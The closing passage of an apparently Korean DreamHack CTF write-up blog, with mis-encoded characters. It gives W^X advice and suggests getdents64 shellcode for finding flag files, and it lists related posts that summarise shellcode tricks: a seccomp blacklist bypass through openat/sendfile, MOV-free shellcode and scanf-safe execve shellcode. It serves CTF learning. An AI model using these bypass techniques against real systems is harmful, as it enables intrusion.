RWX ๋ฉ”๋ชจ๋ฆฌ๋Š” ๊ทธ ์ž์ฒด๋กœ ๊ฒŒ์ดํŠธ๋ฅผ ์—ฐ๋‹ค.

PROT_EXEC ๊ฐ€ ๋ถ™์€ ์“ฐ๊ธฐ ๊ฐ€๋Šฅ ์˜์—ญ์— ์™ธ๋ถ€ ์ž…๋ ฅ์„ ๊ทธ๋Œ€๋กœ ๋„ฃ๊ณ  ์ ํ”„ํ•˜๋ฉด NX ๋„ ์นด๋‚˜๋ฆฌ๋„ ์šฐํšŒํ•  ํ•„์š” ์—†์ด ์ฝ”๋“œ ์‹คํ–‰์ด ์„ฑ๋ฆฝํ•œ๋‹ค. ์ž…๋ ฅ์„ ์‹คํ–‰ ์˜์—ญ์— ๋‘์ง€ ์•Š๋Š” ๊ฒƒ, ๋ถ€๋“์ดํ•˜๋ฉด W^X ๋ฅผ ์ง€ํ‚ค๋Š” ๊ฒƒ์ด ๊ธฐ๋ณธ์ด๋‹ค.

๋งˆ์ง€๋ง‰์œผ๋กœ, flag ๊ฒฝ๋กœ๋ฅผ ํ‘œ์ค€ ์œ„์น˜๋กœ ๋‹จ์ •ํ•˜์ง€ ๋ง ๊ฒƒ. getdents64 ํ•œ ์ค„์ด๋ฉด ๋””๋ ‰ํ† ๋ฆฌ๋ฅผ ์ง์ ‘ ํ™•์ธํ•  ์ˆ˜ ์žˆ์œผ๋‹ˆ, ์ถ”์ธก ๋Œ€์‹  ์…ธ์ฝ”๋“œ๋กœ ํ•œ ๋ฒˆ ๋“ค์—ฌ๋‹ค๋ณด๋Š” ํŽธ์ด ๋น ๋ฅด๋‹ค.

์ด ๊ธ€์ด ๋„์›€์ด ๋๋‚˜์š”?

Comments

๋Œ“๊ธ€

0๊ฐœ

๋Œ“๊ธ€์„ ๋‚จ๊ธฐ๋ ค๋ฉด ๋กœ๊ทธ์ธ์ด ํ•„์š”ํ•ด์š”. (๋„ค์ด๋ฒ„ ยท ๊ตฌ๊ธ€ ๊ณ„์ •)

๋Œ“๊ธ€ ๋ถˆ๋Ÿฌ์˜ค๋Š” ์ค‘โ€ฆ

Related

๊ด€๋ จ ๊ธ€

3๊ฐœ
[๐Ÿฅˆ Silver 2] 4๊ฐœ๋งŒ ๋ง‰๊ณ  ๋‚˜๋จธ์ง„ ๋‹ค ์—ด์–ด๋’€๋‹ค โ€” DreamHack Bypass SECCOMP-1 ํ’€์ด
blog

[๐Ÿฅˆ Silver 2] 4๊ฐœ๋งŒ ๋ง‰๊ณ  ๋‚˜๋จธ์ง„ ๋‹ค ์—ด์–ด๋’€๋‹ค โ€” DreamHack Bypass SECCOMP-1 ํ’€์ด

์ž„์˜ ์…ธ์ฝ”๋“œ๋ฅผ ๊ทธ๋Œ€๋กœ ์‹คํ–‰์‹œ์ผœ์ฃผ๋Š” pwnable์ธ๋ฐ, execve๋กœ ์…ธ์„ ๋”ฐ๋Š” ํ”ํ•œ ๋ฃจํŠธ๊ฐ€ seccomp๋กœ ๋ง‰ํ˜€ ์žˆ๋‹ค. ๊ทธ๋Ÿฐ๋ฐ ์ด ํ•„ํ„ฐ๋Š” ์‹œ์Šคํ…œ์ฝœ "๋ฒˆํ˜ธ" ๋„ค ๊ฐœ๋งŒ ์ฝ• ์ง‘์–ด ์ฐจ๋‹จํ•˜๋Š” ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ๊ฐ€ ์•„๋‹ˆ๋ผ ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ์˜€๋‹ค. ๋ชฉ๋ก์— ์—†๋Š” ์‹œ์Šคํ…œ์ฝœ์€ ์ „๋ถ€ ํ†ต๊ณผํ•œ๋‹ค๋Š” ๋œป์ด๋ผ, open ๋Œ€์‹  openat์œผ๋กœ ํŒŒ์ผ์„ ์—ด๊ณ  write ๋Œ€์‹  sendfile๋กœ ๊ทธ ๋‚ด์šฉ์„ ๊ทธ๋Œ€๋กœ ํ˜๋ ค๋ณด๋ƒˆ๋‹ค.
#dreamhack#ctf#pwnable+3
2026-07-20#dreamhack +5
[๐Ÿฅ‰ Bronze 2] MOV ๊ณ„์—ด 30๋ฐ”์ดํŠธ๊ฐ€ ํ†ต์งธ๋กœ ๋ง‰ํžŒ ์…ธ์ฝ”๋“œ โ€” PUSH/POP ์œผ๋กœ ์ƒ์ˆ˜๋ฅผ ๋งŒ๋“ ๋‹ค โ€” DreamHack No mov ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 2] MOV ๊ณ„์—ด 30๋ฐ”์ดํŠธ๊ฐ€ ํ†ต์งธ๋กœ ๋ง‰ํžŒ ์…ธ์ฝ”๋“œ โ€” PUSH/POP ์œผ๋กœ ์ƒ์ˆ˜๋ฅผ ๋งŒ๋“ ๋‹ค โ€” DreamHack No mov ํ’€์ด

์…ธ์ฝ”๋“œ์— MOV ๊ณ„์—ด ๋ฐ”์ดํŠธ๊ฐ€ ํ•˜๋‚˜๋ผ๋„ ์žˆ์œผ๋ฉด ์‹คํ–‰์„ ๊ฑฐ๋ถ€ํ•˜๋Š” ๋ฌธ์ œ. ๋ง‰ํžŒ ๊ฑด ๋ช…๋ น์–ด ์ด๋ฆ„์ด ์•„๋‹ˆ๋ผ 0x88~0x8Cยท0xA0~0xA5ยท0xB0~0xBFยท0xC6ยท0xC7 ๋ผ๋Š” 30๊ฐœ์˜ ๋ฐ”์ดํŠธ ๊ฐ’์ด๋ผ, ModRM ๊ณผ immediate ๊นŒ์ง€ ๊ฐ™์ด ๊ฑธ๋ฆฐ๋‹ค. PUSH imm ์œผ๋กœ ์ƒ์ˆ˜๋ฅผ ์Šคํƒ์— ๋†“๊ณ  POP ์œผ๋กœ ๋ฐ›์•„ 42๋ฐ”์ดํŠธ open/read/write ์…ธ์ฝ”๋“œ๋ฅผ ๋งŒ๋“ค์—ˆ๋‹ค.
#dreamhack#ctf#pwnable+5
2026-08-10#dreamhack +4
[๐Ÿฅ‰ Bronze 2] scanf ๊ฐ€ ์…ธ์ฝ”๋“œ๋ฅผ ์ž˜๋ผ๋จน๋Š”๋‹ค โ€” DreamHack basic_exploitation_000 ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 2] scanf ๊ฐ€ ์…ธ์ฝ”๋“œ๋ฅผ ์ž˜๋ผ๋จน๋Š”๋‹ค โ€” DreamHack basic_exploitation_000 ํ’€์ด

buf ์ฃผ์†Œ๋ฅผ ์นœ์ ˆํžˆ ๋ˆ„์ถœํ•ด ์ฃผ๊ณ  scanf ๋กœ ์Šคํƒ์„ ๋„˜์น˜๊ฒŒ ํ•˜๋Š” ์ „ํ˜•์ ์ธ ์Šคํƒ ์…ธ์ฝ”๋“œ ๋ฌธ์ œ. ๊ทธ๋Ÿฐ๋ฐ ๊ต๊ณผ์„œ execve ์…ธ์ฝ”๋“œ๋ฅผ ๊ทธ๋Œ€๋กœ ์“ฐ๋ฉด ๋™์ž‘ํ•˜์ง€ ์•Š๋Š”๋‹ค. scanf("%s") ๊ฐ€ ์…ธ์ฝ”๋“œ ์•ˆ์˜ 0x0b(SYS_execve) ๋ฅผ ๊ณต๋ฐฑ์œผ๋กœ ๋ณด๊ณ  ๊ฑฐ๊ธฐ์„œ ์ž˜๋ผ๋จน๊ธฐ ๋•Œ๋ฌธ. 0x0b ๋ฐ”์ดํŠธ ์—†์ด 11์„ ๋งŒ๋“ค์–ด ์šฐํšŒํ•˜๊ณ , ๋ˆ„์ถœ๋œ buf ์ฃผ์†Œ๋กœ ์ ํ”„ํ•ด ์…ธ์„ ๋„์šด๋‹ค.
#dreamhack#ctf#pwn+5
2026-06-25#dreamhack +4